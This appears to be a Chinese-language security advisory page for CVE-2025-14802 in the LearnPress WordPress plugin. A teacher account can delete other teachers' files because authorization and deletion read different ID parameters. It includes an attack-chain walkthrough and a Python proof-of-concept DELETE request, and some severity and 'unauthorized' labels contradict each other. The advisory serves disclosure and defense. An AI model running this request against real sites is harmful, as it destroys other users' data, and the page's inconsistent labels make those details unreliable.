IPBUF安全漏洞报告
English
CVE-2025-14802 CVSS 5.4 中危

CVE-2025-14802 LearnPress插件未授权文件删除漏洞

披露日期: 2026-01-07

漏洞信息

漏洞编号
CVE-2025-14802
漏洞类型
访问控制/权限绕过
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
LearnPress WordPress LMS Plugin

相关标签

WordPress插件漏洞LearnPress未授权文件删除REST API漏洞权限绕过访问控制CVE-2025-14802

漏洞概述

CVE-2025-14802是WordPress最受欢迎的在线课程管理插件LearnPress中的一个高危安全漏洞。该漏洞存在于插件的REST API端点中,允许具有教师级别权限的认证用户删除服务器上任意课程材料文件。漏洞的根本原因在于API授权检查逻辑与实际删除操作使用了不同的参数:删除操作使用URL路径中的file_id,而授权检查却验证请求体中的item_id。这种参数不匹配导致攻击者可以通过构造特定的HTTP请求,在通过自己的item_id授权验证的同时,指定目标文件的file_id进行删除操作。由于课程材料文件通常存储在WordPress上传目录中,攻击成功可能导致其他教师上传的重要教学资源被永久删除,造成数据丢失和教学中断。

技术细节

漏洞存在于LearnPress插件的REST API v1控制器中,具体路径为inc/rest-api/v1/frontend/class-lp-rest-material-controller.php。问题出在DELETE操作的实现上:当客户端发送DELETE请求到/wp-json/lp/v1/material/{file_id}端点时,服务器从URL路径提取目标文件的file_id进行删除操作。然而,插件的权限回调函数checkPermission()在验证用户权限时,却从HTTP请求体中读取item_id参数进行检查。由于file_id和item_id可以被独立控制,攻击者可以提交一个DELETE请求,在URL中指定目标文件的ID(file_id),同时在请求体中携带自己的item_id来通过权限验证。插件的授权逻辑错误地认为用户只能删除自己拥有的文件,实际上通过参数混淆,攻击者能够删除任意教师的文件资源。该漏洞属于OWASP API安全Top 10中的API6:2023 - Mass Assignment类别。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress教师账户权限,登录并获取有效的认证token和nonce
STEP 2
步骤2
攻击者识别目标文件file_id,该文件属于其他教师上传的课程材料
STEP 3
步骤3
攻击者构造DELETE请求到/wp-json/lp/v1/material/{file_id}端点,URL路径中指定目标file_id
STEP 4
步骤4
在请求体中包含攻击者自己的item_id,用于通过权限检查的item_id验证
STEP 5
步骤5
服务器执行权限检查时使用请求体中的item_id验证攻击者权限,验证通过
STEP 6
步骤6
服务器执行文件删除时使用URL路径中的file_id,成功删除目标文件

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-14802 PoC - LearnPress Unauthorized File Deletion # Target: WordPress site with LearnPress plugin <= 4.3.2.2 target_url = "http://target-wordpress-site.com" # Authentication - Attacker needs teacher-level access # Obtain WordPress nonces via wp-admin or REST API auth_token = "attacker_auth_token_here" # Target file_id to delete (belongs to another teacher) target_file_id = 12345 # Attacker's own item_id (for authorization bypass) attacker_item_id = 67890 # Construct the malicious DELETE request endpoint = f"{target_url}/wp-json/lp/v1/material/{target_file_id}" headers = { "Content-Type": "application/json", "Authorization": f"Bearer {auth_token}", "X-WP-Nonce": "wordpress_nonce_here" } # Request body contains attacker's item_id for auth check payload = { "item_id": attacker_item_id } # Send DELETE request - file_id from URL, item_id from body response = requests.delete(endpoint, headers=headers, json=payload) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") # Expected: 200 OK - File deleted successfully (vulnerability confirmed)

影响范围

LearnPress < 4.3.2.3

防御指南

临时缓解措施
如果无法立即升级,可临时禁用REST API的material端点或限制只有管理员权限才能访问LP v1 REST API端点。同时建议对上传目录实施文件权限控制,限制Web服务器用户对课程材料文件的写权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表